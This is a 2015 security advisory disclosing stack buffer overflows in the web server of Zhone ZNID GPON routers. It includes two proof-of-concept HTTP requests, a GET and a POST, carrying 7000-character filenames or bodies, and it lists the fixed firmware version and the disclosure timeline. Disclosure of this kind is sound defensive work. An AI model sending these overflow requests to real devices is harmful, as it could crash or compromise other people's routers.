Vantage Point Security Advisory 2015-003
========================================

Title: Multiple Remote Code Execution found in ZHONE
Vendor: Zhone
Vendor URL: http://www.zhone.com
Device Model: ZHONE ZNID GPON 2426A
(24xx, 24xxA, 42xx, 42xxA, 26xx, and 28xx series models)
Versions affected: < S3.0.501
Severity: High
Vendor notified: Yes
Reported:
Public release:
Author: Lyon Yang <lyon[at]vantagepoint[dot]sg> <lyon.yang.s[at]gmail[dot]com>

Paper: https://www.exploit-db.com/docs/english/39658-exploiting-buffer-overflows-on-mips-architecture.pdf

Summary:
--------

ZHONE RGW is vulnerable to stack-based buffer overflow attacks due to
the use of unsafe string functions without sufficient input validation
in the httpd binary. Two exploitable conditions were discovered when
requesting a large (7000) character filename ending in .cgi, .tst,
.html, .cmd, .conf, .txt and .wl, in GET or POST requests. Vantage
Point has developed working code execution exploits for these issues.


1. Stack Overflow via HTTP GET Request
---------------------------------------------------------------------------------------

GET /.cmd?AAAA…..AAAA<7000 Characters> HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0)
Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/zhnvlanadd.html
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Connection: keep-alive

2. Stack Overflow via HTTP POST Request
---------------------------------------------------------------------------------------

POST /.cgi HTTP/1.1
Host: 192.168.1.1
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/updatesettings.html
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Content-Length: 88438

AAAA…..AAAA<7000 Characters>


Fix Information:
----------------

Upgrade to version S3.1.241


Timeline:
---------
2015/04: Issues reported to Zhone
2015/06: Requested Update
2015/08: Requested Update
2015/09: Requested Update
2015/10: Confirm that all issues has been fixed


About Vantage Point Security:
--------------------

Vantage Point is the leading provider for penetration testing and
security advisory services in Singapore. Clients in the Financial,
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